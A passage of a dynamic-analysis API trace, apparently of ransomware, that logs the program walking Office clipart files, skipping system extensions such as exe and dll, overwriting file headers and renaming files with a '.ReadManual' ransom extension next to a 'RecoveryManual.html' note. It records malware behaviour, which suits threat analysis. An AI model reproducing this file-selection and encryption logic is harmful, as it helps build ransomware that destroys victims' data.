lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.207] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.207] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x668c) returned 0x2f0000 [0268.208] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.208] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38887648204) returned 1 [0268.208] CloseHandle (hObject=0x184) returned 1 [0268.208] SetSecurityInfo () returned 0x57 [0268.208] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.208] CloseHandle (hObject=0x194) returned 1 [0268.208] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0268.208] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198016.WMF" | out: lpString1="J0198016.WMF") returned="J0198016.WMF" [0268.208] lstrcmpiW (lpString1="J0198016.WMF", lpString2="RecoveryManual.html") returned -1 [0268.208] StrStrIW (lpFirst="J0198016.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.208] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.208] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.209] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.209] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.209] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.209] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" [0268.209] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.ReadManual.5A595725" [0268.209] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.ReadManual.5A595725") returned 87 [0268.209] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38887748490) returned 1 [0268.209] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf")) returned 0x20 [0268.209] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.209] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33948) returned 1 [0268.209] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x849c, lpName=0x0) returned 0x184 [0268.209] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.210] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.210] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.212] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.212] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x849c) returned 0x2f0000 [0268.213] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.213] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38888212229) returned 1 [0268.213] CloseHandle (hObject=0x184) returned 1 [0268.213] SetSecurityInfo () returned 0x57 [0268.214] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.214] CloseHandle (hObject=0x194) returned 1 [0268.214] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0268.214] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198020.WMF" | out: lpString1="J0198020.WMF") returned="J0198020.WMF" [0268.214] lstrcmpiW (lpString1="J0198020.WMF", lpString2="RecoveryManual.html") returned -1 [0268.214] StrStrIW (lpFirst="J0198020.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.214] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.214] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.214] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" [0268.214] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.ReadManual.5A595725" [0268.214] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.ReadManual.5A595725") returned 87 [0268.214] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38888314671) returned 1 [0268.214] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf")) returned 0x20 [0268.215] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.215] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23726) returned 1 [0268.215] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cae, lpName=0x0) returned 0x184 [0268.215] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.216] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.216] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.219] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.219] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cae) returned 0x2f0000 [0268.219] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.220] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38888841213) returned 1 [0268.220] CloseHandle (hObject=0x184) returned 1 [0268.220] SetSecurityInfo () returned 0x57 [0268.220] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.220] CloseHandle (hObject=0x194) returned 1 [0268.220] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0268.220] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198021.WMF" | out: lpString1="J0198021.WMF") returned="J0198021.WMF" [0268.220] lstrcmpiW (lpString1="J0198021.WMF", lpString2="RecoveryManual.html") returned -1 [0268.220] StrStrIW (lpFirst="J0198021.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.220] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.220] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.221] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.221] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.221] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.221] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" [0268.221] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.ReadManual.5A595725" [0268.221] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.ReadManual.5A595725") returned 87 [0268.221] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38888950313) returned 1 [0268.221] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf")) returned 0x20 [0268.222] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.222] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=34912) returned 1 [0268.222] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8860, lpName=0x0) returned 0x184 [0268.222] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.223] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.223] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.225] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.225] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8860) returned 0x2f0000 [0268.226] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.226] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38889521627) returned 1 [0268.226] CloseHandle (hObject=0x184) returned 1 [0268.227] SetSecurityInfo () returned 0x57 [0268.227] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.227] CloseHandle (hObject=0x194) returned 1 [0268.227] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0268.227] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198022.WMF" | out: lpString1="J0198022.WMF") returned="J0198022.WMF" [0268.227] lstrcmpiW (lpString1="J0198022.WMF", lpString2="RecoveryManual.html") returned -1 [0268.227] StrStrIW (lpFirst="J0198022.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.227] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.227] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.227] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" [0268.227] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.ReadManual.5A595725" [0268.227] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.ReadManual.5A595725") returned 87 [0268.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38889620098) returned 1 [0268.227] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf")) returned 0x20 [0268.228] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.229] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26148) returned 1 [0268.229] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6624, lpName=0x0) returned 0x184 [0268.229] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.230] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.230] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.231] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.232] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6624) returned 0x2f0000 [0268.232] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.232] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38890079511) returned 1 [0268.232] CloseHandle (hObject=0x184) returned 1 [0268.232] SetSecurityInfo () returned 0x57 [0268.232] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.232] CloseHandle (hObject=0x194) returned 1 [0268.232] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0268.232] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198025.WMF" | out: lpString1="J0198025.WMF") returned="J0198025.WMF" [0268.232] lstrcmpiW (lpString1="J0198025.WMF", lpString2="RecoveryManual.html") returned -1 [0268.232] StrStrIW (lpFirst="J0198025.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.232] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.233] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.233] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" [0268.233] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.ReadManual.5A595725" [0268.233] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.ReadManual.5A595725") returned 87 [0268.233] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38890179102) returned 1 [0268.233] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf")) returned 0x20 [0268.233] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.234] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15566) returned 1 [0268.234] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3cce, lpName=0x0) returned 0x184 [0268.234] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.234] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.236] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.236] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3cce) returned 0x2f0000 [0268.236] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38890537883) returned 1 [0268.237] CloseHandle (hObject=0x184) returned 1 [0268.237] SetSecurityInfo () returned 0x57 [0268.237] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.237] CloseHandle (hObject=0x194) returned 1 [0268.237] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0268.237] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198102.WMF" | out: lpString1="J0198102.WMF") returned="J0198102.WMF" [0268.237] lstrcmpiW (lpString1="J0198102.WMF", lpString2="RecoveryManual.html") returned -1 [0268.237] StrStrIW (lpFirst="J0198102.WMF", 